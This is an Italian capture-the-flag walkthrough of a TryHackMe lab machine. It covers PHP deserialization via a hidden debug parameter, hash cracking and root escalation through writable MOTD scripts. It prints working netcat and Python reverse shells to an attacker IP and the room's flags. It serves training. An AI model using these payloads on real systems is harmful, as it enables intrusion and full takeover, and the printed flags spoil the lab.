- Modificato
Descrizione:
Linux Machine CTF! You'll learn about enumeration, finding hidden password files and how to exploit php deserialization!
Link: https://tryhackme.com/room/debug
⠀
⠀
- USER.TXT
Iniziamo dando un check alle porte aperte con Nmap:
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
| 256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
|_ 256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Possiamo notare che ci sono 2 porte aperte, la 22 e l'80 ma non è un dato concretamente interessante.
Proviamo quindi a fare Brute Force con Gobuster come consigliato:
┌──(user㉿parrot)-[/data/Debug]
└─$ gobuster dir -u http://10.10.196.165 -x php,txt,bak,old,htm,html,zip,tar -w /usr/share/wordlists/dirb/common.txt
[REDACTED]
/backup (Status: 301) [Size: 315] [--> http://10.10.196.165/backup/]
/grid (Status: 301) [Size: 313] [--> http://10.10.196.165/grid/]
/index.html (Status: 200) [Size: 11321]
/index.php (Status: 200) [Size: 5732]
/index.php (Status: 200) [Size: 5732]
/index.html (Status: 200) [Size: 11321]
/javascripts (Status: 301) [Size: 320] [--> http://10.10.196.165/javascripts/]
/javascript (Status: 301) [Size: 319] [--> http://10.10.196.165/javascript/]
/message.txt (Status: 200) [Size: 282]
/server-status (Status: 403) [Size: 278]
===============================================================
2021/05/19 15:51:08 Finished
===============================================================
Questa scansione è stata molto utile perché ci ha permesso di scoprire una cartella nascosta chiamata /backup
Controllando questa cartella si può individuare un certo index.php:
┌──(user㉿parrot)-[/data/Debug/files]
└─$ curl -s http://10.10.196.165/backup/index.php.bak
<!doctype html>
<html lang="en" class="no-js">
<head>
<meta charset="utf-8">
<title>Base</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0">
<link rel="stylesheet" media="screen" href="style.css">
</head>
<body>
<div class="container">
[REDACTED]
<form action="" method="get">
<fieldset>
<legend>Form Submit (Your message will be saved on the server and will be reviewed later by our administrators)</legend>
<div class="field">
<label for="name">Field Name</label>
<input type="text" name="name" id="name">
</div>
<div class="field">
<label for="email">Email Field</label>
<input type="text" name="email" id="email">
</div>
<div class="field">
<label for="textarea">Textarea</label>
<textarea rows="10" cols="30" name="comments" id="comments"></textarea>
</div>
[REDACTED]
<div class="field">
<input class="button" type="submit" value="Submit">
<input class="button" type="reset" value="Reset">
</div>
</fieldset>
</form>
<?php
class FormSubmit {
public $form_file = 'message.txt';
public $message = '';
public function SaveMessage() {
$NameArea = $_GET['name'];
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];
$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";
}
public function __destruct() {
file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';
}
}
// Leaving this for now... only for debug purposes... do not touch!
$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);
$application = new FormSubmit;
$application -> SaveMessage();
?>
[REDACTED]
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script src="javascripts/default.js"></script>
</body>
</html>
Analizzando questo codice c'è una funzione interessante cioè __destruct, dove crea il file menzionato nella variabile $form_file, con il contenuto della variabile $message.
C'è un parametro di debug nascosto nel codice, che viene passato alla funzione unserialize dove possiamo attaccarlo con un exploit:
(visto che sono un neofita per quanto riguarda il PHP mi sono fatto aiutare da questo sito)
Inseriamo in codice:
┌──(user㉿parrot)-[/data/Debug/files]
└─$ cat shell.php
<?php
class FormSubmit {
public $form_file = 'shell.php';
public $message = '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.50.72 4444 >/tmp/f"); ?>';
}
$oForm = new FormSubmit;
echo urlencode(serialize($oForm));
?>
Mandiamo la payload risultante alla variabile di debug della pagina index.php dove di conseguenza si dovrà creare il file shell.php sul server, con il contenuto che abbiamo inserito nella variabile $message.
┌──(user㉿parrot)-[/data/Debug/files]
└─$ curl -s http://10.10.196.165/index.php?debug=`php shell.php`
Ora proviamo a sniffare in traffico: nc -nlvp 4444:
┌──(user㉿parrot)-[/data/Debug/files]
└─$ curl -s http://10.10.196.165/shell.php
Non possiamo accedere alla cartella home di James per ottenere la user flag. Ma l'analisi dei file nella directory mostra un file .htpasswd, con un hash, che potrebbe essere la password di James.
www-data@osboxes:/var/www/html$ cat .htpasswd
cat .htpasswd
james:$apr1$zPZMix2A$d8fBXH0em33bfI9UTt9Nq1
Ovviamente il lavoro non è finito dato che dobbiamo craccare l'hash, io ho preferito farlo con la tecnica del brute force con la wordlist rockyou!
┌──(user㉿parrot)-[/data/Debug/files]
└─$ /data/src/john/run/john james.hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jamaica (james)
1g 0:00:00:00 DONE (2021-05-20 14:58) 50.00g/s 38400p/s 38400c/s 38400C/s evelyn..james1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
USER FLAG: 7e37c84a66cc40b1c6bf700d08d28c20
⠀
⠀
⠀
- ROOT.TXT
Root ha lasciato un messaggio a James:
james@osboxes:~$ cat Note-To-James.txt
Dear James,
As you may already know, we are soon planning to submit this machine to THM's CyberSecurity Platform! Crazy... Isn't it?
But there's still one thing I'd like you to do, before the submission.
Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D
I gave you access to modify all these files :)
Oh and one last thing... You gotta hurry up! We don't have much time left until the submission!
Best Regards,
root
Diamo un'occhiata ai file che possiamo modificare in /etc/:
james@osboxes:~$ find /etc -type f -writable -exec ls -l {} + 2>/dev/null
-rwxrwxr-x 1 root james 1220 Mar 10 18:32 /etc/update-motd.d/00-header
-rwxrwxr-x 1 root james 0 Mar 10 18:38 /etc/update-motd.d/00-header.save
-rwxrwxr-x 1 root james 1157 Jun 14 2016 /etc/update-motd.d/10-help-text
-rwxrwxr-x 1 root james 97 Dec 7 2018 /etc/update-motd.d/90-updates-available
-rwxrwxr-x 1 root james 299 Jul 22 2016 /etc/update-motd.d/91-release-upgrade
-rwxrwxr-x 1 root james 142 Dec 7 2018 /etc/update-motd.d/98-fsck-at-reboot
-rwxrwxr-x 1 root james 144 Dec 7 2018 /etc/update-motd.d/98-reboot-required
-rwxrwxr-x 1 root james 604 Nov 5 2017 /etc/update-motd.d/99-esm
Il servizio motd (Message of the Day) viene utilizzato per visualizzare i messaggi quando un utente si connette e verrà eseguito da root. Poiché abbiamo accesso in scrittura, possiamo fare reverse shell.
james@osboxes:~$ cat >> /etc/update-motd.d/00-header << EOF
> /usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
> EOF
Sniffiamo il traffico: (nc -nlvp 4444) ma in questo caso ci scolleghiamo dalla sessione SSH e ci riconnettiamo.
Facendo questo una finestra con privilegi root apparirà nello sniffer.
┌──(user㉿parrot)-[/data/Debug/files]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.196.165] 59084
bash: cannot set terminal process group (1373): Inappropriate ioctl for device
bash: no job control in this shell
root@osboxes:/# cat /root/root.txt
cat /root/root.txt
3c8c3d0fe758c320d158e32f68fabf4b
ROOT FLAG: 3c8c3d0fe758c320d158e32f68fabf4b
RIASSUMENDO: